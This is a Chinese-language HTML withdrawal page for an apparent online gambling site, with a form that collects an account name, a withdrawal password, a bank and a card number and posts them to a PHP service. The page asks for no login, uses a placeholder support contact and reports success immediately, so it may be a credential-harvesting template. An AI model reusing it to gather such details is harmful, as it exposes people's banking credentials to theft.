﻿<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<link href="Css/rest.css" type="text/css" rel="stylesheet" />
		<link href="Css/layout.css" type="text/css" rel="stylesheet" id="cssfile" />
		<script type="text/javascript" src="Js/jquery-1.8.0.min.js"></script>
		<script type="text/javascript" src="Js/jquery.superslide.2.1.1.js"></script>
		<script type="text/javascript" src="Js/all.js"></script>
		<title>在线提款1</title>
		<style>
			.to_time_1 {
				font-size: 17px;
				color: #FF4200;
				margin-top: 23px;
				line-height: 17px;
			}
		</style>
	</head>

	<body>
		<div class="header w100">
			<div class="w1000 clearfix">
				<a href="index.html" class="logo fl" id="index"><img src="Images/logo.png" alt="首页" />首页</a>
				<div class="fr">
					<span class="kf_box"><a href="javascript:void()" class="kf" >客服</a>
             <div class="fast_ul_kf" >
                <ul>                   
                   <li><a id="qq_chat_link" href="#" target="_blank"><center><img src="Images/7_online.gif" width="71" height="24" border="0" align="middle"></center><span id="qqnumber">dsdsd</span></a>
					</li>
					</ul>
				</div>
				</span>
				<a href="javascript:;" class="toushu" target="_blank">帐号查询</a>
				<span class="jilu_box"><a href="javascript:void()" class="jilu" >设置</a>
             <div class="fast_ul" >
                <ul>                   <li><a href="javascript:;" target="_blank">修改提款密码</a></li>
                   <li><a href="javascript:;" target="_blank">修改提款银行</a></li>
                   <li><a href="javascript:;" target="_blank">查看充提记录</a></li>
                   <li><a href="javascript:;" target="_blank">留言</a></li>
                </ul>
             </div>
          </span>
			</div>
		</div>
		</div>
		<div class="fang_blue_bg w100 bt_dba80d">
			<div class="w1000">
				<div class="chongzhi_box">
					<h1 class="h1_bg h1_style">在线提款</h1>
					<form id="tx_form" name="tx_form" action="" method="post">
						<div class="sec_com ml87mt23">
							<label class="label_com label_com2">会员账号</label><input name="useraccount" type="text" id="username" size="13" class="text_com text_com2">
						</div>
						<div class="sec_com ml87mt15">
							<label class="label_com label_com2">提现金额</label><input name="submitmoney" type="text" id="amount" size="13" class="text_com text_com2" onkeyup="this.value=this.value.replace(/\D/g,'')" onafterpaste="this.value=this.value.replace(/\D/g,'')">
						</div>
						<div class="sec_com ml87mt15">
							<label class="label_com label_com2">提款密码</label><input name="moneypwd" type="password" id="getfund_password" class="text_com text_com2" size="13" />
						</div>
						<div class="sec_com ml87mt15">
							<label class="label_com label_com2">银行开户行</label><input name="cardname" type="text" id="card_bank" size="13" class="text_com text_com2">
						</div>
						<div class="sec_com ml87mt15">
							<label class="label_com label_com2">银行卡号</label><input name="cardnum" type="text" id="bank_number" size="13" class="text_com text_com2" onkeyup="this.value=this.value.replace(/\D/g,'')" onafterpaste="this.value=this.value.replace(/\D/g,'')">
						</div>
						<div class="sec_com ml87mt15 sec_com2">
							<input type="button" id="tx_button" name="Submit" value="确定" onclick="get()" class="btn_com btn_big" />
						</div>
					</form>
				</div>
			</div>
		</div>
		<div class="footer">
			<div class="foot w1000 te_align">2016 © CC Online Entertainment</div>
		</div>
		<script>
			function get() {
				var username = document.getElementById("username").value;
				$("#username").val(username = username.replace(/－/, '-'));
				var amount = document.getElementById("amount").value;
				var cardnum = $("[name=cardnum]").val();
				var card_bank = $("[name=cardname]").val();
				var reg_name = /^[a-zA-Z\d]{6,10}$/;
				if(!reg_name.test(username)) {
					alert("用户名格式错误，请输入6-10个字母或数字");
					return false;
				}
				// if(amount.length < 6) {
				// 	alert("提款密码格式错误，至少6位");
				// 	return false;
				// }
				// if(amount == "") {
				// 	alert("金额不能空！");
				// 	return;
				// }
				if(card_bank == "") {
					alert("开户行不能为空！");
					return;
				}
				var reg_card = /^(\d{16}|\d{19})$/;
				if(!reg_card.test(cardnum)) {
					alert('请输入正确的银行卡号');
					return false;
				}
				//接口请求
				var form_data = $("#tx_form").serialize();
				$.ajax({
					dataType: "json",
					type: "post",
					url: "./service/service.php?act=money",
					data: form_data,
				}).then(function(data) {
					console.log(data);
					if(data.code == 1) {
						//alert("注册提交成功，系统正在审核，请几分钟后登陆，如有疑问请联系客服QQ！");
						//window.close();
						console.log(data);
						alert('提现成功');
						self.location.href = "index.html";
					} else {
						alert(data.msg);
					}
				})
			}
		</script>
	</body>

</html>